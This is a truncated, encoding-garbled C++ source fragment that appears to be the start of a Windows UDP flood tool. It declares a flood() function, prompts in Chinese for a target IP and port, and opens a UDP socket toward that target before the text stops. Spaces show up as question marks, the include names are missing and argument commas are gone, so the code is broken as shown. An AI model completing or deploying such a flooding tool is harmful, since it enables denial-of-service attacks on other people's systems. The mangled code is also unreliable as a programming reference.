#include?
#include?
#include?
#include?
#include?

#pragma?comment（lib?“WS2_32.lib“）

#define?BUF_SIZE?1024

int?ErrorCode?=?0;
WSADATA?wsaData;
SOCKET??socketC;
SOCKADDR_IN?serverAddr;
HANDLE?hThread=NULL;
char?sendbuf[BUF_SIZE];
int?flood（）;?


int?main（int?argc?char**?argv）
{
????std::string?ipStr;
????USHORT?portStr;
????std::cout<<“輸入IP地址：“<????std::cin>>ipStr;
????std::cout<<“輸入端口號：“<????std::cin>>portStr;

????//?創建socket
????DWORD?dw;
????WSAStartup（MAKEWORD（11）?&wsaData）;
????socketC?=?socket（AF_INET?SOCK_DGRAM?IPPROTO_UDP）;
????memset（（void?*）&serverAddr?0?sizeof（serverAddr））;
????serverAddr.sin_family?=?AF_INET;
????serverAddr.sin_port?=?htons（portStr）;
????serverAddr.sin_addr.s_addr?=